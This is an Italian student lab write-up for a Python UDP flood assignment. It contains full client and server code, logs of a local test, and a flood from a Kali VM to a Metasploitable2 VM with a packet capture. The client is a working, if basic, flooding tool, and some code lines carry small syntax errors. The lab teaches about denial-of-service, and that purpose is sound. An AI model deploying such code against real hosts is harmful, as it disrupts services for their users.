

# S3L5 - UDP FLOOD

14/06/2024

Simone La Porta

Scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale.

Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target.
- Il programma deve richiedere l'inserimento della porta target.
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare.

# udp\_client.py

- Importazione delle librerie:

- **socket**: creare e gestire le connessioni di rete.
- **os**: generare dati casuali.
- **logging**: registrare informazioni e operazioni.
- **datetime**: aggiungere timestamp ai log.

- Classe UDPClient:

- **init**: inizializza il client UDP con i parametri forniti.
- **self.socket**: crea un socket UDP.
- **metodo invia\_pacchetti**:
  - **messaggio**: genera un pacchetto di dati casuali di 1 KB.
  - **for**: ciclo che invia il numero specificato di pacchetti al target.
  - **try-except**: gestisce eventuali errori durante l'invio dei pacchetti.
  - **logging**: registra le informazioni di debug e le operazioni.
- **metodo chiudi\_socket**: chiude il socket.

```
1 import logging
2 import os
3 import socket
4 from datetime import datetime
5
6
7 class UDPClient:
8     def __init__(self, ip_target, porta_target, dimensione_pacchetto, numero_pacchetti):
9         """Inizializzazione del client UDP con IP target, porta target, dimensione del
10            pacchetto e numero di pacchetti."""
11         self.ip_target = ip_target
12         self.porta_target = porta_target
13         self.dimensione_pacchetto = dimensione_pacchetto
14         self.numero_pacchetti = numero_pacchetti
15         self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
16
17     def invia_pacchetti(self):
18         """Invia i pacchetti UDP al target."""
19         messaggio = os.urandom(
20             self.dimensione_pacchetto
21         ) # Genera un pacchetto di dati casuali di 1 KB
22         logging.info(
23             f"Inizio attacco UDP flood verso {self.ip_target}:{self.porta_target} con {self.
24             numero_pacchetti} pacchetti da {self.dimensione_pacchetto} byte."
25         )
26
27         for i in range(self.numero_pacchetti):
28             try:
29                 self.socket.sendto(messaggio, (self.ip_target, self.porta_target))
30                 logging.info(
31                     f"Invia pacchetto {i+1} a {self.ip_target}:{self.porta_target}"
32                 )
33             except Exception as e:
34                 logging.error(f"Errore durante l'invio del pacchetto {i+1}: {e}")
35
36         logging.info("Attacco completato.")
37
38     def chiudi_socket(self):
39         """Chiude il socket."""
40         self.socket.close()
```

# udp\_client.py

- **Funzione *configura\_logging*:** configura il logging per registrare messaggi su file e console.

- **Funzioni di validazione:**

- ***valida\_ip*:** controlla che l'IP inserito sia valido.
- ***valida\_porta*:** controlla che la porta inserita sia valida.

```
41 def configura_logging():
42     """Configura il logging per l'applicazione."""
43     nome_file_log = f"udp_flood_client_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log"
44     logging.basicConfig(
45         filename=nome_file_log,
46         level=logging.INFO,
47         format"%(asctime)s - %(levelname)s - %(message)s", # Formato di log in inglese per
48         evitare errori
49         datefmt="%Y-%m-%d %H:%M:%S",
50     )
51     console = logging.StreamHandler()
52     console.setLevel(logging.INFO)
53     formatter = logging.Formatter(
54         "%(asctime)s - %(levelname)s - %(message)s"
55     ) # Formato di log in inglese per evitare errori
56     console.setFormatter(formatter)
57     logging.getLogger("").addHandler(console)
58
59 def valida_ip(ip):
60     """Valida l'indirizzo IP inserito."""
61     parti = ip.split(".")
62     if len(parti) != 4:
63         return False
64     for parte in parti:
65         if not parte.isdigit():
66             return False
67         if not 0 <= int(parte) <= 255:
68             return False
69     return True
70
71
72 def valida_porta(porta):
73     """Valida il numero di porta inserito."""
74     return porta.isdigit() and 1 <= int(porta) <= 65535
```

# udp\_client.py

**main:** punto di ingresso del programma. Configura il logging, richiede gli input dall'utente, valida gli input e avvia l'invio dei pacchetti.

```
77 def main():
78     configura_logging()
79     logging.info("Avvio del programma UDP Flood")
80
81     while True:
82         ip_target = input("Inserisci l'IP target: ").strip()
83         if valida_ip(ip_target):
84             break
85         else:
86             logging.warning("Indirizzo IP non valido. Riprova.")
87
88     while True:
89         porta_target = input("Inserisci la porta target: ").strip()
90         if valida_porta(porta_target):
91             porta_target = int(porta_target)
92             break
93         else:
94             logging.warning("Numero di porta non valido. Riprova.")
95
96     dimensione_pacchetto = 1024 # 1 KB
97
98     while True:
99         try:
100             numero_pacchetti = int(
101                 input("Quanti pacchetti da 1 KB vuoi inviare? ").strip()
102             )
103             if numero_pacchetti > 0:
104                 break
105             else:
106                 logging.warning(
107                     "Il numero di pacchetti deve essere un intero positivo. Riprova."
108                 )
109         except ValueError:
110             logging.warning("Input non valido. Inserisci un numero intero.")
111
112     client = UDPClient(ip_target, porta_target, dimensione_pacchetto, numero_pacchetti)
113     client.invia_pacchetti()
114     client.chiudi_socket()
115
116
117 if __name__ == "__main__":
118     main()
```

# udp\_server.py

- **Importazione delle librerie:**

- **socket:** creare e gestire le connessioni di rete.
- **logging:** registrare informazioni e operazioni.
- **datetime:** aggiungere timestamp ai log.

```
1 import logging
2 import socket
3 from datetime import datetime
4
5
6 class UDPServer:
7     def __init__(self, ip_ascolto, porta_ascolto):
8         """Inizializzazione del server UDP con IP e porta di ascolto."""
9         self.ip_ascolto = ip_ascolto
10        self.porta_ascolto = porta_ascolto
11        self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
12        self.socket.bind((self.ip_ascolto, self.porta_ascolto))
13
14    def avvia_server(self):
15        """Avvia il server UDP e inizia ad ascoltare i pacchetti in arrivo."""
16        logging.info(f"Server in ascolto su {self.ip_ascolto}:{self.porta_ascolto}")
17        while True:
18            try:
19                dati, addr = self.socket.recvfrom(1024) # Riceve dati fino a 1024 byte
20                logging.info(f"Ricevuto pacchetto da {addr}: {dati}")
21                self.socket.sendto(
22                    b"Pacchetto ricevuto", addr
23                ) # Invia conferma di ricezione
24            except Exception as e:
25                logging.error(f"Errore durante la ricezione del pacchetto: {e}")
```

- **Classe UDPServer:**

- **init:** inizializza il server UDP con i parametri forniti.
- **self.socket:** crea un socket UDP.
- **metodo avvia\_server:**
  - **avvia\_server:** Avvia il server e rimane in ascolto per i pacchetti in arrivo. Registra ogni pacchetto ricevuto e invia una conferma di ricezione.

# udp\_server.py

**Funzione *configura\_logging*:** configura il logging per registrare messaggi su file e console.

***main*:** punto di ingresso del programma. Configura il logging e avvia il server UDP.

```
28 def configura_logging():
29     """Configura il logging per l'applicazione."""
30     nome_file_log = f"udp_server_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log"
31     logging.basicConfig(
32         filename=nome_file_log,
33         level=logging.INFO,
34         format"%(asctime)s - %(levelname)s - %(message)s", # Formato di log in inglese per
35         evitare errori
36         datefmt="%Y-%m-%d %H:%M:%S",
37     )
38     console = logging.StreamHandler()
39     console.setLevel(logging.INFO)
40     formatter = logging.Formatter(
41         "%(asctime)s - %(levelname)s - %(message)s"
42     ) # Formato di log in inglese per evitare errori
43     console.setFormatter(formatter)
44     logging.getLogger("").addHandler(console)
45
46 def main():
47     configura_logging()
48     logging.info("Avvio del server UDP")
49
50     ip_ascolto = "0.0.0.0" # Ascolta su tutte le interfacce di rete
51     porta_ascolto = 20002 # Porta di ascolto del server
52
53     server = UDPServer(ip_ascolto, porta_ascolto)
54     server.avvia_server()
55
56
57 if __name__ == "__main__":
58     main()
```

# udp\_client.py

```
ml ➜ ~/Desktop/S3L5 ➜ python udp_client.py
2024-06-14 10:42:26,345 - INFO - Avvio del programma UDP Flood
Inserisci l'IP target: 0.0.0.0
Inserisci la porta target: 20002
Quanti pacchetti da 1 KB vuoi inviare? 1
2024-06-14 10:42:38,926 - INFO - Inizio attacco UDP flood verso 0.0.0.0:20002 con 1 pacchetti da 1024 byte.
2024-06-14 10:42:38,927 - INFO - Inviato pacchetto 1 a 0.0.0.0:20002
2024-06-14 10:42:38,927 - INFO - Attacco completato.
```

13s ml

# udp\_server.py

```
ml ➜ ~/Desktop/S3L5 ➜ python udp_server.py
2024-06-14 10:42:21,602 - INFO - Avvio del server UDP
2024-06-14 10:42:21,602 - INFO - Server in ascolto su 0.0.0.0:20002
2024-06-14 10:42:38,927 - INFO - Ricevuto pacchetto da ('127.0.0.1', 58735): b'\x85\xc6\xc4\x a1\xdb\x w:\x99\xdf\xf4\xb9\x1e\xf3\x a0\xec\xb0\xb4\xfd\xc1\xf3\xb0\x a4\x8a\xb23}+\x80\xdeqy\x e0=\x95T\tu\x95M4Jw\xeb\x8fS\x86zf\x17\xeb\x8b\'\x025\x1e\x00]\xbcd\xad\n\x13\x8c\xd4\xc1\xc9\x9b\xeb\x0c\xdcB\x e3E>\xa1\xb5,\xe6G3\x a3\x1b\'T\x08\xb5\x e7.\xd8\xce\x a0]\xdd\xd1\x1d0\x e8\xfd\x86#\@\\xc2\xdeW\x8e\x e5\x83:|\xd3\xab\x0b~~D\t\x e9\x e50\x e3a\xb8\xcfM}{\x07!\x a a\x c1\x86s\x fe[J\x97e\x b3\x d1\x04\x c4\x 94K5#\r9:\x ca\x07\x91\x0e\x1f\x1c\xec\xd3\x n^o\x e2\xd9B(\x86\xd1\xb7\xd6\x e1\xfb1\xf3\x19\xb6\xd1\x85\xf3~\xcaA\xd5\xe6l6\xd9\xb0\x9f\xc3\x9a/U\xae!.x87\xc1\xe1\xdc\\x17\xe1\xfd\xb8\x13r\xbf\xc3\x06\xb7\xfed\x98A\x8d\x a0\x19H~Y\xaa\x06\xcc\xc5\x15u\xf9h$1\xbb\xb2\xc46Y\xcf\xfd\xc8\x82\xd9\xe8\xf1\x a6\x89i\t\xc52\x10\x9c\x15\xf2\x a0\xd8\xe2f\x a3r\x82\xafz\x1b\xb3\x t5\xed\x14\x07\x e5\x91n!Y\x92p\xdc|\xcc\xb7\x0b\xb30_\x8d\``gL\x92\xd6\xfe(\x92\x a8\x91\xeb\xra}&bQP\x e2j\x95P\x a e\x fd\x x1.\x06\x a2\xbb\x a0\xc8\x a070\xf3\xdbc(\x80|\xf4\x10\\x06\xca9)\x05g\xf9\xb6\x07H\x85\xf2-\xf3\xec\x07\xff\xdd\xf2\x17{\xb5Fh\xc9\x01\xd5v*KR\x963?\xf6\x06\xbc\x8c<z\xf5\xb9\xea\x1e\x0f\xde\xb6\xe6\x11o3\x0c]\x a7\xc0"\x a7\x01\xdc\x87B[\xf7\xcb\xd9Z\x ZD-}\x cb\\,\x16\x e2\x9d\x9b\r\xdc1\xb4\x8a\x07\xb5\xdb\xb0\xcfT}z\x02\x03a\x1b\x102e\x a0\xbf\xb1B\xb5\xca\x0cFT\x a0\xad\xeb\xed")[\x e4\x14\x8d\x8d6\x80\xe5\xefQ\x9b\xd0\xb2\xae+\x1d\x00\x93\xbc\xb8\x94*\x00\x80\x0c\x9e+\x a4o\x16>\x9a~#N\xfcP\xdb{x\x96\x17\x9b\x9d\x07\xe7[\x1cW\x0c_\x08\x86\xd22\x9d\x01\x a5\x84\xe1\x81Kd\xf8c\x066\xcd\x9f\x85\x93\x99\xd9\xf1`\x05\x a3\xbbjB-2q\xd9\x81\x00\x17c\\x8c>\xd3\x19NB\x12\xec\xfd;\x8c\x a2\xc0\x92\x87z6\xb1n4\x00\xac,\x9d\x1b$\x a a6\x9a\xba\x18B~h\xd8H\x e6\x9e8Lb\xb8\x9cB\xadK\x1c\x04\xbaHi\x8a\xd1\xfd\xba[^/0\xc3[f\x8d\x13a\xb2(:\x a5\x n\xcb\xc3\xc3]\x9b\x819\x05\x1c#\x7f(\x da\xc1\xd9\xda\x11\x94|\x8fX\xc0\x84\x1b%\x03\x9f0\xec\xed\x a8\xed\x18\xf6\x a2\xac\x89\x8a\x04\x06\x a9\x06\xaaM\x96\x05\x02\xbfP\x97\xc0\xd1,\x9e4\xacc4\t\x e0n\xd9,\x d9\x02\xea\x a5\xf7\x a a\x05\xccb\xdd\xce h\xb1z\x81.\xf1#\}\x0f\x08\x0f\x15\xd4\xe7\x8bz\xf8S\xda7\xd8\x1c\x8a\x a8\t\xeb\x a1\xc6*\x88\x e3=\x9f\x8c\x nn\x14\x90\x92\x13\xc4KQ}\xde\x98\xc7a A\x8c\x8b\xba\xc8\x e2=\xbd\xaf\xc37j\x17\x e3\xb9@3`\xb eP\x14Vz\xb6Mc\x03\xbb\xbc\xda\xf8z:\% \bd\xd05A\x08\xc4$`|\x15|\x1e\x05\xd2\x84A\x9f)*` \x e\x a4},\x1f\xc9\xf9\xd3\x80i\xfc\xbdn\x0f6\xd9m\x9a\xfa\x85b!7\x a1C\xc6%\x1f\x9a\xaf\x84\xd3\xbdv\x0e(\x98*\x8b\x a5\x89\xc0\x84P\x05\x e4E\x05\x1f\xb4A\x e7_\x d5\x989\x8f\x87];\x d31\xb6\xef\xc0\xf5\xfa\xbe\x89\xb3\x98zj\x08a\x06\xfc\x a4\xfd\x86\x e5\x0eo\\x c4\xdcB-\x8e\x f1c\x a e\x e5\x af\xd8\x03h\xc5\x16\x8dF\xd8\xe8\xdd\x1c\x81\x e6?\xd6\xaf\xe9C^` \xf f\xf6;\x9bU\x9b!) \xb bp\xeb\xb7\x00Q\x0f\x8e?\x18\x04\x98|\xf d%\x14\xd1\x e0\xbcQx\xc8\x8ap\x1a/\x ed&\x90G\xd7\xbd\x0bS\x94\xced\xc4\x08\x1b\xdcu\xfc\x edQ\x8d\x88\x15NC\x ad\x8e\x1b\x08\xd4\xbc\x0b\xbd\x7fB\x e2\x0fJ\x9c\xee\xd1c\x9f\xd0\x a0\xda\xb7\xce<` \xb0\x0c\x16\xfe\x10\xdb\xba` \x ad\xbfG\x96\xb8\xeb\xccV\xd8\\x d2\x18ZP\xb2\x11'
```

# UDP flood da Kali VM verso Metasploitable2 VM

```
kali@kali: ~/Desktop
File Actions Edit View Help
~/Desktop
> python3 udp_client.py
2024-06-14 10:50:46,743 - INFO - Avvio del programma UDP Flood
Inserisci l'IP target: 192.168.50.101
Inserisci la porta target: 44444
Quanti pacchetti da 1 KB vuoi inviare? 10
2024-06-14 10:51:00,319 - INFO - Inizio attacco UDP flood verso 192.168.50.101:44444 con 10 pacchetti da 1024 byte.
2024-06-14 10:51:00,320 - INFO - Inviato pacchetto 1 a 192.168.50.101:44444
2024-06-14 10:51:00,320 - INFO - Inviato pacchetto 2 a 192.168.50.101:44444
2024-06-14 10:51:00,321 - INFO - Inviato pacchetto 3 a 192.168.50.101:44444
2024-06-14 10:51:00,321 - INFO - Inviato pacchetto 4 a 192.168.50.101:44444
2024-06-14 10:51:00,321 - INFO - Inviato pacchetto 5 a 192.168.50.101:44444
2024-06-14 10:51:00,321 - INFO - Inviato pacchetto 6 a 192.168.50.101:44444
2024-06-14 10:51:00,322 - INFO - Inviato pacchetto 7 a 192.168.50.101:44444
2024-06-14 10:51:00,322 - INFO - Inviato pacchetto 8 a 192.168.50.101:44444
2024-06-14 10:51:00,322 - INFO - Inviato pacchetto 9 a 192.168.50.101:44444
2024-06-14 10:51:00,322 - INFO - Inviato pacchetto 10 a 192.168.50.101:44444
2024-06-14 10:51:00,322 - INFO - Attacco completato.
```

No.	Time	Source	Destination	Protocol	Length	Info
1	10:50:41.664985899	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
2	10:50:42.691018608	192.168.50.100	192.168.50.100	ICMP	111	Destination unreachable (Host unreachable)
3	10:50:42.691030775	192.168.50.100	192.168.50.100	ICMP	111	Destination unreachable (Host unreachable)
4	10:50:42.692792233	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
5	10:50:43.713200650	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
6	10:50:44.740429026	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
7	10:50:45.759827276	192.168.50.100	192.168.50.100	ICMP	111	Destination unreachable (Host unreachable)
8	10:50:45.759830234	192.168.50.100	192.168.50.100	ICMP	111	Destination unreachable (Host unreachable)
9	10:50:45.759897359	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
10	10:50:46.784241735	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
11	10:50:47.808471360	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
12	10:50:48.836010277	192.168.50.100	192.168.50.100	ICMP	111	Destination unreachable (Host unreachable)
13	10:50:48.836022819	192.168.50.100	192.168.50.100	ICMP	111	Destination unreachable (Host unreachable)
14	10:50:48.837148444	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
15	10:50:49.859012153	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
16	10:50:50.880791362	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
17	10:50:51.905476821	192.168.50.100	192.168.50.100	ICMP	111	Destination unreachable (Host unreachable)
18	10:50:51.905490821	192.168.50.100	192.168.50.100	ICMP	111	Destination unreachable (Host unreachable)
19	10:50:51.905736321	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
20	10:50:52.930376071	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
21	10:50:53.952698655	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
22	10:50:54.976746655	192.168.50.100	192.168.50.100	ICMP	111	Destination unreachable (Host unreachable)
23	10:50:54.976760114	192.168.50.100	192.168.50.100	ICMP	111	Destination unreachable (Host unreachable)
24	10:50:54.977703533	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
25	10:50:55.001045239	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
26	10:50:55.026842115	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
27	10:50:58.049442532	192.168.50.100	192.168.50.100	ICMP	111	Destination unreachable (Host unreachable)
28	10:50:58.049445490	192.168.50.100	192.168.50.100	ICMP	111	Destination unreachable (Host unreachable)
29	10:50:58.049557199	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
30	10:50:59.072542699	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
31	10:51:00.098338700	2e:d4:6b:cd:53:00		ARP	44	Who has 192.168.50.1? Tell 192.168.50.100
32	10:51:00.320333116	192.168.50.100	192.168.50.101	UDP	1068	51165 → 44444 Len=1024
33	10:51:00.320712075	192.168.50.100	192.168.50.101	UDP	1068	51165 → 44444 Len=1024
34	10:51:00.321113491	192.168.50.100	192.168.50.101	UDP	1068	51165 → 44444 Len=1024
35	10:51:00.321488366	192.168.50.100	192.168.50.101	UDP	1068	51165 → 44444 Len=1024
36	10:51:00.321734741	192.168.50.100	192.168.50.101	UDP	1068	51165 → 44444 Len=1024
37	10:51:00.321857116	192.168.50.100	192.168.50.101	UDP	1068	51165 → 44444 Len=1024
38	10:51:00.321980991	192.168.50.100	192.168.50.101	UDP	1068	51165 → 44444 Len=1024
39	10:51:00.322077908	192.168.50.100	192.168.50.101	UDP	1068	51165 → 44444 Len=1024
40	10:51:00.322382075	192.168.50.100	192.168.50.101	UDP	1068	51165 → 44444 Len=1024
41	10:51:00.322675200	192.168.50.100	192.168.50.101	UDP	1068	51165 → 44444 Len=1024
42	10:51:00.323134866	192.168.50.101	192.168.50.100	ICMP	592	Destination unreachable (Port unreachable)
43	10:51:00.323135033	192.168.50.101	192.168.50.100	ICMP	592	Destination unreachable (Port unreachable)
44	10:51:00.323135116	192.168.50.101	192.168.50.100	ICMP	592	Destination unreachable (Port unreachable)
45	10:51:00.323135158	192.168.50.101	192.168.50.100	ICMP	592	Destination unreachable (Port unreachable)



**GRAZIE**